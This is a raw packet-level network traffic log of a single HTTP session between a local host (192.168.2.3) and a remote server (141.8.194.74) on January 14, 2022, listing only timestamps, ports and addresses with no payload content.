Jan 14, 2022 02:05:31.143349886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143369913 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143372059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143393993 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143415928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143423080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143439054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143457890 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.143460989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.143503904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.185206890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.185235023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.185350895 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.215857029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.215888023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.215910912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.215933084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.215959072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.215958118 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.215981960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216000080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216007948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216032028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216044903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216053963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216078043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216083050 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216103077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216128111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216135025 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216150999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216172934 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216173887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216197968 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216223001 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216224909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216279984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216608047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216635942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216659069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216681004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216701031 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216726065 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216754913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216780901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216804028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216825962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216830015 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216852903 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216876030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216897964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216902971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216926098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216934919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.216952085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216976881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.216999054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217016935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217021942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217031002 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217045069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217067957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217089891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217098951 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217113972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217134953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217156887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217161894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217175007 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217181921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217206001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217228889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217228889 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217252970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217253923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217278004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217300892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217307091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217324018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217350006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.217364073 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.217406988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.258605957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.258641005 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.258729935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289520025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289566040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289613008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289634943 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289637089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289660931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289681911 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289685965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289707899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289731979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289738894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289756060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289777994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289800882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289808989 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289824009 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289839029 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289860964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289886951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289895058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289911032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289932013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.289946079 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.289979935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290518045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290582895 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290613890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290637016 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290638924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290678978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290689945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290736914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290762901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290792942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290796995 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290834904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290848017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290858984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290904045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290925980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290934086 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.290957928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290973902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.290998936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291029930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291058064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291074038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291098118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291143894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291168928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291194916 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291217089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291239977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291248083 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291264057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291275978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291285992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291311979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291321039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291336060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291353941 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291361094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291383982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291407108 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.291407108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.291465044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332046032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332098007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332132101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332164049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332175970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332189083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332206964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332231998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332263947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332281113 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332287073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332312107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332335949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332344055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332370043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332386017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332416058 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332437038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332463980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332469940 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332511902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332519054 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332535982 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332560062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332596064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332622051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332660913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332676888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332694054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332736015 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332739115 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332767010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332791090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332808018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332813025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332855940 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332856894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332897902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332921028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332945108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.332946062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.332971096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333004951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333034992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333035946 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.333059072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333081961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333097935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.333107948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333131075 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333154917 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.333156109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333178997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333200932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.333204031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.333244085 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363266945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363344908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363378048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363399029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363415956 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363420963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363432884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363445044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363451958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363470078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363481998 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363487005 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363506079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363512039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363522053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363538980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363540888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363559008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363576889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363583088 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363594055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363610983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.363632917 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.363658905 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364624977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364650965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364669085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364696026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364701033 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364720106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364734888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364736080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364753962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364769936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364784956 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364794016 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364818096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364819050 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364834070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364856005 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364856958 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364871979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364914894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364921093 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364959002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.364967108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.364981890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365004063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365016937 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365025043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365071058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365073919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365137100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365160942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365191936 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365199089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365227938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365248919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365250111 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365266085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365283966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365288019 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365320921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365323067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365360975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365384102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365401983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365412951 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365437031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365446091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.365472078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.365520954 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.406907082 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.406966925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407053947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407059908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407083988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407131910 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407144070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407191038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407248020 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407263994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407269955 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407293081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407315969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407319069 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407339096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407363892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407365084 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407386065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407407999 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407409906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407430887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407450914 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407454967 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407480001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407495975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407502890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407526970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407538891 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407551050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407574892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407588005 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407598972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407624006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407643080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407646894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407672882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407691002 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407696009 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407718897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407737970 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407743931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407766104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407785892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407790899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407815933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407833099 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407839060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407862902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407883883 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407886028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407908916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407931089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407936096 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.407960892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.407983065 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.408005953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.408052921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.436973095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437011957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437036037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437052965 CET	80	49901	141.8.194.74	192.168.2.3
